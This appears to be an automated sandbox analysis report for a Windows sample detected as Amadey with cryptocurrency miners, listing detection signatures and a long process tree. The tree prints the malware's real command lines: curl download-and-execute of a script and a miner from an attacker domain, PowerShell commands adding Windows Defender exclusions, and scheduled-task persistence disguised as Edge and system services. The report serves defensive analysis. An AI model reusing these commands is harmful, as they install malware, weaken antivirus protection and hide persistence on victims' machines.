Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520638
MD5:	dc730eea0eba910485703a74d173f8e2
SHA1:	093f63548d7366b6c3cbfc3ddfca453199e40eca
SHA256:	18894a1a879e0e75c33ec7988c8835b20b42a3fae8c51f1cb4f026f2b855a6b7
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, BitCoin Miner, SilentXMRMiner

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected BitCoin Miner

Yara detected SilentXMRMiner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of debugger detection

Found strings related to Crypto-Mining

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sample is not signed and drops a device driver

Sigma detected: Curl Download And Execute Combination

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DC730EEA0EBA910485703A74D173F8E2)

axplong.exe (PID: 7712 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: DC730EEA0EBA910485703A74D173F8E2)

axplong.exe (PID: 7728 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: DC730EEA0EBA910485703A74D173F8E2)

axplong.exe (PID: 2304 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: DC730EEA0EBA910485703A74D173F8E2)

loader_5879465914.exe (PID: 1748 cmdline: "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe" MD5: 7DF3608AE8EA69762C71DA1C05F0C043)

cmd.exe (PID: 4408 cmdline: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7276 cmdline: curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cscript.exe (PID: 7692 cmdline: cscript conf.vbs MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

schtasks.exe (PID: 7580 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7952 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7832 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7900 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4632 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5744 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2228 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8180 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6428 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6988 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 888 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5752 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3104 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5812 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4812 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6616 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7096 cmdline: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del miner2.0.exe 2>nul && curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe && start miner2.0.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6580 cmdline: curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

miner2.0.exe (PID: 5868 cmdline: miner2.0.exe MD5: 651396CF297F15A1F92EE0A29E27C4EA)

cmd.exe (PID: 8080 cmdline: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4496 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7968 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8116 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3104 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2756 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost64.exe (PID: 5992 cmdline: C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe" MD5: A8638A5105C9A663B0D6918D64B3AD21)

cmd.exe (PID: 7224 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7232 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2)

services64.exe (PID: 6976 cmdline: "C:\Windows\system32\services64.exe" MD5: 651396CF297F15A1F92EE0A29E27C4EA)

cmd.exe (PID: 3900 cmdline: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3736 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 280 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2600 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8016 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6364 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost64.exe (PID: 6772 cmdline: C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe" MD5: A8638A5105C9A663B0D6918D64B3AD21)

cmd.exe (PID: 6940 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6740 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2)

sihost64.exe (PID: 7008 cmdline: "C:\Windows\system32\Microsoft\Libs\sihost64.exe" MD5: 7112FD4E6B2CDD13C11B8B04A96769CB)

cmd.exe (PID: 4476 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 7812 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)

cmd.exe (PID: 4116 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 4280 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)

cmd.exe (PID: 7604 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7724 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7728 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5904 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6620 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3732 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 796 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1908 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6592 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7804 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6032 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4940 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1436 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3284 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1464 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4112 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2696 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5728 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6352 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1640 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1368 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2436 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1716 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3636 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Microsoft-Edge.exe (PID: 7636 cmdline: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe MD5: 7DF3608AE8EA69762C71DA1C05F0C043)

cmd.exe (PID: 7772 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7880 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3872 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6064 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1984 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1888 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7456 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2504 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1988 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3760 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2696 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 2784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1740 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5676 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6184 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6568 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6288 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6700 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7620 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7820 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

